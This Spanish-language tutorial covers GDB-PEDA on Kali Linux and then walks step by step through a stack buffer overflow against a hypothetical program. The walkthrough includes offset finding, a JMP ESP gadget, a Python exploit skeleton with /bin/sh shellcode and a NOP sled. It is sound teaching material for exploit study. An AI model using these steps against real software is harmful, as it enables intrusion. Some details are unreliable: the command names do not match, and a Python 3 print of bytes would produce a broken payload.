GDB-PEDA en Kali Linux: Guía Rápida
GDB-PEDA en Kali Linux: Guía Rápida
GDB-PEDA (Python Exploit Development Assistance) es una herramienta esencial para la ingeniería inversa y el desarrollo de exploits, ya que transforma la interfaz austera de GDB en algo mucho más visual y fácil de leer.
Aquí tienes una guía rápida en español para instalarlo y los comandos que más vas a usar.
1. Instalación en Kali Linux
Para instalarlo, solo necesitas clonar el repositorio y configurar tu archivo .gdbinit. Abre una terminal y ejecuta:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
La próxima vez que abras gdb, verás una interfaz colorida con registros, código y la pila (stack).
2. Comandos Principales (Diccionario Rápido)
Una vez dentro de GDB con PEDA, estos son los comandos que te salvarán la vida:
Navegación y Control
context: Muestra el panel principal (Registros, Código y Stack). Útil si la pantalla se ensucia.checksec: Verifica las protecciones del binario (NX, Stack Canary, ASLR, PIE).pattern create [tamaño]: Crea una cadena de caracteres única para encontrar el offset exacto en un desbordamiento de búfer (buffer overflow).pattern offset [valor]: Te dice exactamente en qué posición ocurrió el choque.
Información del Sistema
vmmap: Muestra los segmentos de memoria y sus permisos (lectura, escritura, ejecución).elfsymbol: Busca símbolos en el archivo ELF.procinfo: Muestra información detallada del proceso en ejecución.
Búsqueda y Debugging
find [cadena]: Busca una cadena o dirección en la memoria.ropgadget: Busca gadgets para ataques de Programación Orientada a Retornos (ROP).strings: Extrae todas las cadenas de texto del binario.
3. Ejemplo de Flujo de Trabajo
Cargar el programa:
gdb ./mi_programaPoner un breakpoint:
break mainCorrerlo:
runAvanzar línea a línea:
next(para saltar funciones) ostep(para entrar en ellas).Ver memoria:
x/wx $esp(ver el tope de la pila en formato hexadecimal).
¿Por qué usar PEDA?
A diferencia del GDB estándar, PEDA:
Colorea la salida, lo que facilita identificar qué registros han cambiado.
Desensambla automáticamente el código alrededor de la instrucción actual.
Muestra argumentos de funciones de forma clara cuando se realizan llamadas al sistema (syscalls).
Vamos a realizar un ejercicio clásico de Buffer Overflow (desbordamiento de búfer) paso a paso.
Imagina que tienes un programa vulnerable donde una variable "A" sobreescribe la dirección de retorno en la pila. El objetivo es tomar el control del flujo del programa.
Paso 1: Crear el patrón de choque
En lugar de adivinar cuántas "A" necesitamos para romper el programa, usamos PEDA para generar una cadena única.
Bashgdb-peda$ pattern create 100Esto generará algo como:
AAAABBBBCCCC.... Copia esa cadena.Paso 2: Ejecutar y causar el error
Ejecutamos el programa y, cuando pida la entrada, pegamos la cadena larga.
Bashgdb-peda$ run (Pega la cadena aquí)El programa se detendrá con un error de Segmentation Fault. Verás que el registro EIP (el que dice qué instrucción sigue) tiene un valor extraño como
0x41424344.Paso 3: Calcular el Offset
Aquí es donde PEDA brilla. Queremos saber exactamente en qué parte de nuestra cadena se encuentra el valor que cayó en EIP.
Bashgdb-peda$ pattern offset 0x41424344PEDA te responderá algo como: "found at offset 64". Esto significa que después de 64 caracteres, los siguientes 4 controlan el destino del programa.
Paso 4: Visualización de la Pila (Stack)
Para entender qué está pasando, es vital ver cómo se ve la memoria en ese momento.
¿Qué estamos viendo?
Al enviar más datos de los que el búfer puede soportar, los datos "desbordan" hacia arriba en la memoria, tapando la Return Address (dirección de retorno). Cuando la función termina, el procesador intenta "volver" a la dirección que nosotros escribimos.
Paso 5: Verificación final
Ahora que sabemos que el offset es 64, podemos probar si tenemos el control total enviando 64 "A"s y 4 "B"s.
Python# En la terminal de Linux python3 -c "print('A'*64 + 'BBBB')" > payload.txtLuego en GDB:
Bashgdb-peda$ run < payload.txtSi el registro EIP ahora contiene
0x42424242(el valor hexadecimal de BBBB), ¡felicidades!, tienes el control total del procesador.¿Qué sigue?
Ahora que controlas el EIP, el siguiente paso suele ser apuntar esa dirección hacia un Shellcode para obtener acceso a la terminal.
Aquí es donde la teoría se convierte en magia. Una vez que controlas el registro EIP, necesitas decirle al programa: "No vuelvas a donde ibas, salta a mi código".
Para lograr esto, el método más común es buscar una instrucción
JMP ESPdentro del binario o de sus librerías. Esto funciona porque, en el momento del choque, el registro ESP (Stack Pointer) suele estar apuntando justo después de nuestra dirección de retorno, donde podemos poner nuestro Shellcode.Paso 1: Buscar el "Trampolín" (JMP ESP)
Necesitamos una dirección de memoria que contenga la instrucción
jmp esp. PEDA lo hace muy fácil con el comandoasmsearch:Bashgdb-peda$ jmpcall espEste comando buscará en todo el binario instrucciones tipo jmp esp o call esp. Verás una lista de direcciones como esta:
0x08041234 : jmp esp
Paso 2: Entender el Salto
Como ves en el diagrama:
Llenamos el búfer con basura (As).
Sobreescribimos el EIP con la dirección del
JMP ESPque encontramos (0x08041234).Inmediatamente después, ponemos nuestro Shellcode.
Cuando el programa "muere", salta a esa dirección, ejecuta
jmp espy ¡pum!, aterriza en tu código.
Paso 3: Construir el exploit final (Esqueleto)
Usando Python, estructuramos el ataque. Supongamos que el offset era 64 y la dirección del salto es
0x08041234:Pythonimport struct offset = 64 # Convertimos la dirección a formato "Little Endian" (al revés) jmp_esp = struct.pack("<I", 0x08041234) # Un Shellcode básico (ejemplo: ejecuta /bin/sh) shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" payload = b"A" * offset + jmp_esp + shellcode print(payload)Paso 4: Ejecución en GDB
Guardamos eso en un archivo y lo lanzamos:
Bashgdb-peda$ run < payload.binSi todo sale bien, en lugar de un "Segmentation Fault", verás que se abre un nuevo proceso o una shell
$.Un detalle importante: NOP Sled
A veces, la memoria se mueve un poco. Para ser más precisos, solemos poner una "pista de aterrizaje" antes del shellcode usando NOPs (
\x90). Es una instrucción que no hace nada, solo pasa a la siguiente.Tip:
payload = basura + jmp_esp + (b"\x90" * 16) + shellcode